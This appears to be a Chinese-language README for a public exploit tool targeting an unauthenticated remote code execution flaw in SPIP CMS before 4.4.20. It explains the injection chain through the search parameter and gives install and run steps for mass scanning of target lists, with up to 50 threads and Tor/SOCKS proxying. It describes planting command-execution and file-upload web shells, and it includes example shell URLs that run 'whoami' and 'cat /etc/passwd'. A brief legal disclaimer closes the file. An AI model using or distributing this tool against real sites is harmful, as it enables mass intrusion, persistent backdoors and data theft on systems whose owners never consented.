CVE-2026-77647

SPIP 4.4.20 之前的版本允许未经身份验证的远程攻击者执行任意代码

🔴 CVE-2026-77647 — SPIP 未经身份验证的远程代码执行

SPIP CMS 中的预身份验证远程代码执行 — 4.4.20 之前的所有版本

---

📋 概述

CVE-2026-77647 是一个**严重的未经身份验证的远程代码执行（RCE）**漏洞，影响 4.4.20 之前的所有 SPIP CMS 版本。

该漏洞允许远程攻击者——无需任何身份验证或用户交互——在目标服务器上执行任意 PHP 代码。自 2026 年 8 月起，该漏洞已被在野积极利用，促使 SPIP 团队发布紧急补丁。

本工具可自动化检测和利用此漏洞，支持对多个目标进行扫描，并可配置并发数。

---

🛡️ 漏洞详情

字段	详情
CVE ID	CVE-2026-77647
受影响软件	SPIP CMS
受影响版本	4.4.20 之前的所有版本
类型	未经身份验证的远程代码执行（RCE）
CWE	CWE-94 — 代码生成控制不当（代码注入）
CVSS 3.1 评分	9.8 / 10 — 严重
CVSS 向量	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
身份验证	无需（预身份验证）
利用状态	已在野积极利用（2026 年 8 月）
补丁	SPIP 4.4.20（安全公告）

---

⚙️ CVSS 3.1 指标解析

指标	值	含义
攻击向量	网络	可通过互联网远程利用
攻击复杂度	低	无需特殊条件
所需权限	无	无需身份验证
用户交互	无	无需受害者操作
影响范围	不变	影响仅限于存在漏洞的系统
机密性	高	可完全读取所有数据
完整性	高	可完全写入/修改数据
可用性	高	可造成完全拒绝服务

---

🔬 技术分析

根本原因

该漏洞源于 SPIP 模板引擎中两个相互作用的缺陷：

1. <?php 代码块识别不正确 — SPIP 的模板引擎未能正确清理用户可控输入中的 PHP 开始标签，特别是在搜索（recherche）参数中。

2. var_export 处理不当 — PHP 的 var_export() 函数在处理某些边界情况时存在缺陷，尤其是当输入包含 < 字符时，从而允许注入可执行的 PHP 代码。

利用链

User Input (recherche) → var_export → X-Spip-Filtre: html_entity_decode → PHP eval

攻击者通过 SPIP 搜索功能（?page=recherche&recherche=PAYLOAD）发送精心构造的 payload。该 payload 滥用 X-Spip-Filtre HTTP 头机制触发 html_entity_decode，从而解码注入的 PHP 代码。随后，解码后的代码由 SPIP 的模板渲染引擎执行，实现任意代码执行。

攻击流程

┌──────────────────────┐
│   Attacker Machine   │
└──────────┬───────────┘
           │
           │  GET /spip.php?page=recherche&recherche=<PAYLOAD>
           ▼
┌──────────────────────┐
│   SPIP Application   │
│                      │
│  1. Receives search  │
│  2. var_export()     │──── Mishandles '<' character
│  3. X-Spip-Filtre   │──── html_entity_decode
│  4. Template eval    │──── Executes injected PHP
│                      │
└──────────┬───────────┘
           │
           │  file_put_contents() → PHP Web Shell
           ▼
┌──────────────────────┐
│   Web Shell Active   │
│   Full RCE Achieved  │
└──────────────────────┘

🚀 使用方法

环境要求

• Python 3.7+
• requests 库

安装

git clone https://github.com/Nxploited/CVE-2026-77647.git
cd CVE-2026-77647
pip install requests

准备目标

创建一个名为 list.txt（或任意自定义名称）的文件，每行一个目标：

https://target1.com
https://target2.com
http://192.168.1.100
target3.com

注意： 没有指定协议（http:// 或 https://）的目标将默认使用 http://。

运行

python CVE-2026-77647.py

交互式配置

该工具将提示你输入：

[?] Target list (default: list.txt): list.txt
[?] Speed (1-4, default: 2):

速度	线程数	超时	配置
1 — 慢速	5	25s	🔇 隐蔽
2 — 正常	10	15s	⚖️ 均衡
3 — 快速	25	12s	⚡ 激进
4 — 极速	50	10s	🔥 最大

[?] Proxy (blank = none): socks5://127.0.0.1:9050

支持 HTTP/HTTPS/SOCKS 代理以实现匿名化。

输出

成功的结果会保存到 shells.txt：

https://target.com/img_cache.php?k=nXk&c=id
https://target.com/Nx_.php?k=nXk

Shell 访问

命令执行：

https://target.com/img_cache.php?k=nXk&c=whoami
https://target.com/img_cache.php?k=nXk&c=cat /etc/passwd

文件上传界面：

https://target.com/Nx_.php?k=nXk

🎯 功能特性

• 🔍 自动检测 SPIP 版本 — 通过 Composed-By 响应头和页面指纹识别
• 🛡️ 跳过已修补版本 — 自动跳过 SPIP ≥ 4.4.20
• 📝 双 Shell 部署 — 命令执行 Shell + 文件上传 Shell
• 📂 多路径写入 — 尝试根目录、IMG/、tmp/ 和 local/ 目录
• ⚡ 多线程扫描 — 可配置 5 至 50 个并发线程
• 🌐 代理支持 — HTTP、HTTPS 和 SOCKS 代理路由
• 📊 实时状态 — 实时进度显示，终端输出带颜色编码
• 💾 自动保存结果 — 所有确认的 Shell 均保存至输出文件

---

📚 参考资料

• CVE-2026-77647 — CVE.org
• CVE-2026-77647 — NVD (NIST)
• SPIP Security Advisory — SPIP Blog
• CERTFR-2026-AVI-1033 — CERT-FR (ANSSI)
• Debian Security Tracker — CVE-2026-77647
• Rapid7 Vulnerability Database

---

⚠️ 免责声明

本工具仅供教育目的和经授权的安全研究使用。

未经系统所有者明确的书面许可，对系统使用本工具属于违法行为，可能违反地方、国家及国际法律，包括但不限于**《计算机欺诈与滥用法》(CFAA)、《英国计算机滥用法》**以及其他司法管辖区的同等立法。

作者不承担任何责任，也不对本工具造成的任何滥用、损害或非法活动负责。使用本工具即表示您同意：

• 在测试任何目标之前，您已获得适当授权
• 您对自身行为承担全部责任
• 您将遵守所有适用法律和法规
• 您理解未经授权访问计算机系统属于刑事犯罪

负责任地使用。合乎道德地入侵。

---

作者：Khaled Alenazi
@Nxploited